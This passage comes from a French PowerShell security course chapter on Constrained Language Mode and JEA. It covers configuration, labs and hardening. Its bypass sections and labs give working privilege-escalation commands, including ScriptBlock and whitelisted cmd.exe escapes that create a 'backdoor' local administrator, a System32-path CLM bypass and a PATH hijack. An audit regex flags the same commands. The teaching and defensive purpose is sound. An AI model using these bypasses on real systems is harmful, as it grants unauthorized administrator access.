Ce bypass ne fonctionne pas avec AppLocker ou WDAC. Règle absolue : ne jamais utiliser __PSLockdownPolicy seule en production. Désactiver PowerShell v2 (Disable-WindowsOptionalFeature) pour éliminer le bypass par downgrade.

3.3

JEA - Just Enough Administration

JEA implémente le principe du moindre privilège pour l'administration à distance via WinRM. L'utilisateur se connecte avec son propre compte non-privilégié, mais les commandes s'exécutent sous un Virtual Account - un compte administrateur local temporaire invisible à l'utilisateur. Si l'on atteint ce compte via un bypass, on a des droits admin complets.

Flux d'une connexion JEA
restricteduser (bas privilège)
│ Enter-PSSession -ConfigurationName "RestrictedCmdlets"
┌──────────────────────────────────────────────────────────┐
│ SANDBOX JEA │
│ LanguageMode: NoLanguage (le plus restrictif) │
│ Cmdlets dispo: [Get-Service, Restart-Service, ...] │
│ Exécuté sous: winrm virtual users\winrm va X (admin !) │
└──────────────────────────────────────────────────────────┘
↑ L'utilisateur ne voit pas le Virtual Account
↑ Mais si une commande whitelistée permet l'exécution → admin complet
Les deux fichiers de configuration JEA
Fichier .pssc
Session Configuration - le conteneur

Définit comment la session fonctionne : qui peut se connecter, sous quel compte le code s'exécute, quel LanguageMode est imposé, SessionType, TranscriptDirectory.

Fichier .psrc
Role Capabilities - les permissions

Définit quoi l'utilisateur peut faire : quelles cmdlets, quels paramètres autorisés (ValidateSet), quels programmes externes, quelles fonctions PS.

RestrictedCmdlets.pssc - Session Configuration annotéePOWERSHELL
@{ SchemaVersion = '2.0.0.0' GUID = 'xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx' # Virtual Account = compte admin local temporaire, invisible, éphémère RunAsVirtualAccount = $true # ⚠ NoLanguage = le plus restrictif - bloque ScriptBlocks et .NET # ConstrainedLanguage = moins restrictif → laisse passer [System.Diagnostics.Process] LanguageMode = 'NoLanguage' # ⚠ CRUCIAL : RestrictedRemoteServer bloque l'opérateur & avec ScriptBlocks # Absent ou 'Default' → bypass via & { ... } possible (voir section 3.5) SessionType = 'RestrictedRemoteServer' # Audit complet de chaque session JEA TranscriptDirectory = 'C:\JEA\Transcripts' RoleDefinitions = @{ 'BUILTIN\Remote Management Users' = @{ RoleCapabilities = 'HelpDeskRole' # Nom du .psrc sans extension } } }
HelpDeskRole.psrc - Role Capabilities annotéesPOWERSHELL
@{ GUID = 'yyyyyyyy-yyyy-yyyy-yyyy-yyyyyyyyyyyy' # ✅ ValidateSet = liste blanche stricte des valeurs autorisées par paramètre VisibleCmdlets = @( 'Get-Service', 'Get-Process', @{ Name = 'Restart-Service' Parameters = @{ Name = 'Name'; ValidateSet = 'Spooler', 'W32Time' } } ) # ⚠ Ne JAMAIS mettre cmd.exe, powershell.exe, wscript.exe ici VisibleExternalCommands = @( 'C:\Windows\System32\ipconfig.exe', 'C:\Windows\System32\ping.exe' ) VisibleFunctions = @('Get-SystemInfo') VisibleAliases = @() VisibleProviders = @('FileSystem') }
3.4

Configuration JEA - Déploiement Complet

Workflow de déploiement JEA - 6 étapes
1. Créer structure module (dossier + RoleCapabilities/) → 2. Créer .psrc → 3. Créer .pssc
4. Register-PSSessionConfiguration → 5. Restart-Service WinRM → 6. Tester
Déploiement JEA complet - toutes les étapesPOWERSHELL
# ── ÉTAPE 1 : Structure du module ────────────────────────────────── $modulePath = "C:\Program Files\WindowsPowerShell\Modules\JEALab" New-Item -ItemType Directory -Path "$modulePath\RoleCapabilities" -Force # ── ÉTAPE 2 : Fichier .psrc (permissions) ────────────────────────── @" @{ GUID = '$(New-Guid)' VisibleCmdlets = @('Get-Process', 'Get-Service', 'Get-LocalUser', 'Get-Date') VisibleExternalCommands = @( 'C:\Windows\System32\whoami.exe', 'C:\Windows\System32\ipconfig.exe' ) } "@ | Out-File "$modulePath\RoleCapabilities\RestrictedRole.psrc" -Encoding UTF8 # ── ÉTAPE 3 : Fichier .pssc (session config) ─────────────────────── New-Item -ItemType Directory -Path "C:\JEA\Transcripts" -Force @" @{ SchemaVersion = '2.0.0.0' GUID = '$(New-Guid)' RunAsVirtualAccount = `$true LanguageMode = 'NoLanguage' SessionType = 'RestrictedRemoteServer' TranscriptDirectory = 'C:\JEA\Transcripts' RoleDefinitions = @{ 'BUILTIN\Remote Management Users' = @{ RoleCapabilities = 'RestrictedRole' } } } "@ | Out-File "C:\JEA\RestrictedCmdlets.pssc" -Encoding UTF8 # ── ÉTAPES 4-5-6 : Enregistrer, redémarrer, tester ───────────────── Register-PSSessionConfiguration -Name "RestrictedCmdlets" ` -Path "C:\JEA\RestrictedCmdlets.pssc" -Force Restart-Service WinRM # Lister les sessions enregistrées Get-PSSessionConfiguration | Select-Object Name, Enabled, Permission # Voir les capacités effectives d'un utilisateur Get-PSSessionCapability -ConfigurationName "RestrictedCmdlets" ` -Username "$env:COMPUTERNAME\restricteduser"
Explorer une session JEA - restrictions et Virtual AccountPOWERSHELL
# Se connecter à l'endpoint JEA $cred = Get-Credential "restricteduser" Enter-PSSession -ComputerName localhost ` -Credential $cred ` -ConfigurationName "RestrictedCmdlets" # Dans la session JEA : $ExecutionContext.SessionState.LanguageMode # → NoLanguage [System.Console]::WriteLine("test") # → "The syntax is not supported in this runspace" Get-Command # → Seulement Get-Process, Get-Service, Get-LocalUser, Get-Date whoami # → "winrm virtual users\winrm va 2" - compte ADMIN local temporaire !
Virtual Account - le détail crucial

Le Virtual Account est un compte administrateur local temporaire et éphémère créé par WinRM pour chaque session JEA. Supprimé à la déconnexion. L'utilisateur ne peut pas le voir dans Get-LocalUser. Mais il a des droits admin complets - si une commande whitelistée permet d'exécuter du code arbitraire, ce code tourne en tant qu'admin.

3.5

Contournements JEA - Techniques Offensives

Lab uniquement

Ces techniques sont présentées pour comprendre les misconfigurationen JEA et savoir comment les tester lors d'un audit. À appliquer uniquement en environnement de lab autorisé.

Bypass 1 - SessionType Default + opérateur &

Si le .pssc ne définit pas SessionType ou l'omet, les ScriptBlocks via l'opérateur & sont autorisés malgré le NoLanguage. C'est la misconfiguration la plus courante.

Bypass 1 - ScriptBlock via & (SessionType absent)POWERSHELL
# Dans la session JEA avec SessionType non défini (Default) & { whoami } # → "winrm virtual users\winrm va X" - ScriptBlock fonctionne ! & { calc.exe } # → calc.exe lancé sous le Virtual Account (admin local) & { New-LocalUser -Name "backdoor" -Password (ConvertTo-SecureString "P@ss!" -AsPlainText -Force) } # → Crée un utilisateur en tant qu'admin - élévation complète !
Bypass 2 - ConstrainedLanguage au lieu de NoLanguage

Si le .pssc utilise LanguageMode = 'ConstrainedLanguage' au lieu de 'NoLanguage', System.Diagnostics.Process reste accessible.

Bypass 2 - .NET dans ConstrainedLanguagePOWERSHELL
# Session JEA avec LanguageMode = 'ConstrainedLanguage' [System.Diagnostics.Process]::Start("calc.exe") # → Lance calc.exe sous le Virtual Account (admin)
Bypass 3 - Commandes dangereuses dans VisibleExternalCommands
Bypass 3 - calc.exe ou cmd.exe whitelistésPOWERSHELL
# Si calc.exe est dans VisibleExternalCommands calc.exe # → Lancé sous Virtual Account (admin) # Si cmd.exe est whitelisté - game over cmd.exe /c "net user backdoor P@ss /add && net localgroup Administrators backdoor /add" # → Créé un admin backdoor depuis la session restricteduser # Via l'opérateur & avec chemin complet & "C:\Windows\System32\calc.exe" $c = "C:\Windows\System32\calc.exe"; & $c
Bypass 4 - Fonctions VisibleFunctions sans validation
Bypass 4 - injection via fonction mal implémentéePOWERSHELL
# .psrc vulnérable : Start-Process whitelisté sans restriction de paramètres # VisibleFunctions = @('Start-Process') ← DANGEREUX Start-Process "cmd.exe" -ArgumentList "/c whoami" # → Exécution en tant que Virtual Account (admin local) # Fonction wrapper mal sécurisée (sans ValidateSet) : # function Restart-ServiceSafe { param($Name) Restart-Service $Name } # → Peut redémarrer n'importe quel service, pas seulement les autorisés
3.6

PSProviders - Rôle dans les Contournements

Un PSProvider est une interface qui donne à PowerShell un accès uniforme à différentes sources de données (système de fichiers, registre, certificats…). En session JEA, certains providers autorisés peuvent devenir des vecteurs d'information ou de contournement.

PSProviders - liste, navigation et exploitation en JEAPOWERSHELL
# Lister tous les providers disponibles Get-PSProvider # → FileSystem {C, D, Z}, Registry {HKLM, HKCU}, Alias, Environment # → Function {Function}, Variable, Certificate {Cert}, WSMan # Provider Function: - lire le code source des fonctions whitelistées ! # Si la fonction est mal implémentée, on voit comment l'exploiter Get-ChildItem "Function:" Get-Content "Function:\Restart-ServiceSafe" # → Affiche le code PS complet de la fonction # → Si param($Name) sans ValidateSet → injection possible # Provider Registry - accès aux clés (si autorisé) Get-ChildItem "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" # Provider Variable - voir les variables de session Get-ChildItem "Variable:" # Manipulation PATH via Env: (si écriture autorisée) $env:PATH = "C:\Users\Public;" + $env:PATH # → Priorité à un faux exécutable dans Public
Offensif - Provider Function: pour lire les fonctions

Via le provider Function:, si une fonction est whitelistée dans JEA, tu peux lire son code source complet depuis la session avec Get-Content "Function:\NomFonction". Si la fonction appelle des cmdlets avec des paramètres non validés passés par l'utilisateur, tu contrôles ces appels depuis le contexte du Virtual Account (admin).

3.7

Tableau des Contournements par LanguageMode

Référence rapide - ce qui fonctionne selon le mode configuré. Les VULN indiquent les cases exploitables qui ne devraient pas l'être selon l'intention défensive.

Technique de bypassFullConstrainedNoLangNoLang+Default
Types .NET arbitraires
Add-Type / P/Invoke
ScriptBlocks { }VULN
Opérateur &VULN
Commandes externes whitelistées
PSProvidersLimitéLimité
[System.Diagnostics.Process]::Start()VULN
Bypass System32 (__PSLockdownPolicy)---
Downgrade PS v2
InstallUtil / MSBuild (LOLBIN)
3.8

Remédiations - Durcissement CLM + JEA

Durcissement CLM - bonnes pratiquesPOWERSHELL
# ✅ Désactiver PowerShell v2 - élimine le bypass par downgrade Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root # → State : Disabled # ✅ Signer les scripts légitimes avec un certificat de code $cert = New-SelfSignedCertificate -Type CodeSigningCert ` -Subject "CN=Mon Organisation" -CertStoreLocation "Cert:\CurrentUser\My" Set-AuthenticodeSignature -FilePath ".\monscript.ps1" -Certificate $cert # ✅ AppLocker en mode Whitelist (via gpedit.msc) : # Computer Configuration → Windows Settings → Security Settings # → Application Control Policies → AppLocker → Configure Rule Enforcement # → Exécutable Rules + Script Rules : Configured + Enforce Rules # ✅ WDAC = plus robuste qu'AppLocker (appliqué au niveau kernel)
.pssc sécurisé - template de productionPOWERSHELL
@" @{ SchemaVersion = '2.0.0.0' GUID = '$(New-Guid)' RunAsVirtualAccount = `$true # Isolation des permissions LanguageMode = 'NoLanguage' # Le plus restrictif SessionType = 'RestrictedRemoteServer' # Bloque l'opérateur & TranscriptDirectory = 'C:\JEA\Transcripts' # Audit complet RoleDefinitions = @{ 'BUILTIN\Remote Management Users' = @{ RoleCapabilities = 'RestrictedRole' } } } "@
Audit JEA - vérifier config + analyser transcriptsPOWERSHELL
# Vérifier la configuration active Get-PSSessionConfiguration -Name "RestrictedCmdlets" | Select-Object Name, LanguageMode, RunAsVirtualAccount, Permission # Capacités effectives d'un utilisateur Get-PSSessionCapability -ConfigurationName "RestrictedCmdlets" ` -Username "MACHINE\restricteduser" # Détecter des commandes suspectes dans les transcripts JEA Get-ChildItem "C:\JEA\Transcripts\" -Filter "*.txt" | Sort-Object LastWriteTime -Descending | Select-Object -First 10 | ForEach-Object { $suspects = Get-Content $_.FullName | Where-Object { $_ -match "cmd.exe|powershell|calc|net user|net localgroup" } if ($suspects) { Write-Warning "[!] Activité suspecte dans $($_.Name)" $suspects | ForEach-Object { Write-Host " >> $_" -ForegroundColor Yellow } } } # Event ID 4104 dans une session JEA = anormal si NoLanguage actif Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object {$_.Id -eq 4104 -and $_.Message -match "RestrictedCmdlets"} | Select-Object TimeCreated, Message | Format-List
TP 1

Activer CLM & Bypasser via System32

TP 03-AObserver CLM en action et exploiter la vulnérabilité du chemin System32INTERMÉDIAIRE
Objectifs
  1. Activer CLM via __PSLockdownPolicy et observer les blocages
  2. Confirmer quels types .NET sont bloqués, lesquels restent autorisés
  3. Bypasser via nom de fichier contenant "system32"
  4. Bypasser via un dossier contenant "System32" créé par l'attaquant
Activation + tests de blocages CLMPOWERSHELL
# Activer CLM (en Admin) [Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '4', 'Machine') # ⚠ Ouvrir un NOUVEAU terminal PowerShell $ExecutionContext.SessionState.LanguageMode # → ConstrainedLanguage # Test 1 : Type .NET arbitraire [System.Console]::WriteLine("test") # → Erreur # Test 2 : WebClient $wc = New-Object System.Net.WebClient # → Erreur # Test 3 : Add-Type Add-Type -TypeDefinition "public class Test {}" # → Erreur # Test 4 : Cmdlets normales - toujours ok Get-Process | Select-Object -First 3 # → ✅ Fonctionne
Bypass CLM via system32 dans le cheminPOWERSHELL
$testScript = @' Write-Host "LanguageMode : $($ExecutionContext.SessionState.LanguageMode)" [System.Console]::WriteLine("Bypass reussi si tu lis ceci !") '@ # Version SANS bypass → CLM actif $testScript | Out-File "C:\Users\Public\test_normal.ps1" powershell.exe -File "C:\Users\Public\test_normal.ps1" # → ConstrainedLanguage + Erreur sur Console::WriteLine # Version AVEC "system32" dans le NOM → bypass ! $testScript | Out-File "C:\Users\Public\test_system32.ps1" powershell.exe -File "C:\Users\Public\test_system32.ps1" # → FullLanguage + "Bypass reussi si tu lis ceci !" ← le bug ! # Version via DOSSIER contenant System32 New-Item -ItemType Directory -Path "C:\Users\Public\System32" -Force $testScript | Out-File "C:\Users\Public\System32\payload.ps1" powershell.exe -File "C:\Users\Public\System32\payload.ps1" # → FullLanguage ! Même un dossier dans Public suffit. # ── Nettoyage ──────────────────────────────────────────────────── [Environment]::SetEnvironmentVariable('__PSLockdownPolicy', '', 'Machine') Remove-Item "C:\Users\Public\test_*.ps1" Remove-Item "C:\Users\Public\System32\" -Recurse -Force
TP 2

Déployer JEA & Bypasser via les Deux Méthodes

TP 03-BConfigurer JEA vulnérable, exploiter, puis déployer la version sécuriséeAVANCÉ
Objectifs
  1. Déployer un endpoint JEA intentionnellement vulnérable (calc.exe + SessionType Default)
  2. Exploiter calc.exe whitelisté - observer l'exécution sous Virtual Account
  3. Exploiter l'opérateur & via SessionType absent
  4. Lire les transcripts générés - voir les traces des bypasses
  5. Déployer la version sécurisée et confirmer que les bypasses échouent
Déploiement JEA vulnérable (exécuter en Admin)POWERSHELL
$modulePath = "C:\Program Files\WindowsPowerShell\Modules\JEALab" New-Item -ItemType Directory -Path "$modulePath\RoleCapabilities" -Force New-Item -ItemType Directory -Path "C:\JEA\Transcripts" -Force # .psrc avec calc.exe - intentionnellement vulnérable @" @{ GUID = '$(New-Guid)' VisibleCmdlets = @('Get-Process', 'Get-Service', 'Get-Date', 'Get-LocalUser') VisibleExternalCommands = @( 'C:\Windows\System32\whoami.exe', 'C:\Windows\System32\calc.exe' ) } "@ | Out-File "$modulePath\RoleCapabilities\RestrictedRole.psrc" # .pssc vulnérable - SessionType absent (= Default) @" @{ SchemaVersion = '2.0.0.0' GUID = '$(New-Guid)' RunAsVirtualAccount = `$true LanguageMode = 'NoLanguage' TranscriptDirectory = 'C:\JEA\Transcripts' RoleDefinitions = @{ 'BUILTIN\Remote Management Users' = @{ RoleCapabilities = 'RestrictedRole' } } } "@ | Out-File "C:\JEA\RestrictedCmdlets.pssc" Register-PSSessionConfiguration -Name "RestrictedCmdlets" ` -Path "C:\JEA\RestrictedCmdlets.pssc" -Force Restart-Service WinRM Write-Host "JEA vulnérable déployé" -ForegroundColor Yellow
Bypass JEA - calc.exe + opérateur &POWERSHELL
$secPwd = ConvertTo-SecureString "Restricted@2024!" -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential("restricteduser", $secPwd) $session = New-PSSession -ComputerName localhost -Credential $cred -ConfigurationName "RestrictedCmdlets" # Vérifier le contexte Invoke-Command -Session $session -ScriptBlock { Write-Host "Mode : $($ExecutionContext.SessionState.LanguageMode)" Write-Host "Connecté en tant que : $(whoami)" } # BYPASS 1 : calc.exe whitelisté → exécuté en Virtual Account (admin !) Invoke-Command -Session $session -ScriptBlock { calc.exe whoami # → "winrm virtual users\winrm va X" - admin local } # BYPASS 2 : opérateur & fonctionne car SessionType = Default Invoke-Command -Session $session -ScriptBlock { & { whoami } # → fonctionne ! & "C:\Windows\System32\calc.exe" # → calc en Virtual Account } Remove-PSSession -Session $session
Transcripts + re-déploiement sécuriséPOWERSHELL
# Lire le dernier transcript JEA Get-ChildItem "C:\JEA\Transcripts\" | Sort-Object LastWriteTime -Descending | Select-Object -First 1 | ForEach-Object { Get-Content $_.FullName } # → Les bypasses via & et calc.exe apparaissent dans le log # ── Correction : déployer la version sécurisée ─────────────────── @" @{ GUID = '$(New-Guid)' VisibleCmdlets = @( 'Get-Process', 'Get-Date', @{ Name = 'Get-Service'; Parameters = @{ Name = 'Name'; ValidateSet = 'Spooler','W32Time' } } ) VisibleExternalCommands = @('C:\Windows\System32\whoami.exe') } "@ | Out-File "$modulePath\RoleCapabilities\RestrictedRole.psrc" -Force @" @{ SchemaVersion = '2.0.0.0' GUID = '$(New-Guid)' RunAsVirtualAccount = `$true LanguageMode = 'NoLanguage' SessionType = 'RestrictedRemoteServer' TranscriptDirectory = 'C:\JEA\Transcripts' RoleDefinitions = @{ 'BUILTIN\Remote Management Users' = @{ RoleCapabilities = 'RestrictedRole' } } } "@ | Out-File "C:\JEA\RestrictedCmdlets.pssc" -Force Unregister-PSSessionConfiguration -Name "RestrictedCmdlets" -EA SilentlyContinue Register-PSSessionConfiguration -Name "RestrictedCmdlets" ` -Path "C:\JEA\RestrictedCmdlets.pssc" -Force Restart-Service WinRM Write-Host "JEA sécurisé déployé - testez à nouveau les bypasses" -ForegroundColor Green # → Les deux méthodes de bypass doivent maintenant échouer

Résumé - Points clés à retenir

Offensif
Priorités de bypass

CLM via __PSLockdownPolicy → bypass nom fichier/dossier System32. CLM robuste → LOLBINs (InstallUtil, MSBuild), downgrade PS v2. JEA → VisibleExternalCommands dangereuses, opérateur & si SessionType Default, lire Function:.

Défensif
Checklist durcissement

Désactiver PS v2. AppLocker/WDAC (jamais __PSLockdownPolicy seule). JEA : SessionType = RestrictedRemoteServer, LanguageMode = NoLanguage, ValidateSet partout, jamais cmd.exe whitelisté, TranscriptDirectory actif.

CLM - PowerShell Team Blog
devblogs.microsoft.com
CLM Bypass - Black Hills InfoSec
blackhillsinfosec.com
JEA Overview - Microsoft Docs
github.com/MicrosoftDocs
JEA Bypasses - Bordergate
bordergate.co.uk
CLM Bypass Techniques - ired.team
ired.team
Prochain chapitre

Le Chapitre 4 - Registre Windows : persistance, clés de voûte des malwares, audit forensique des modifications critiques.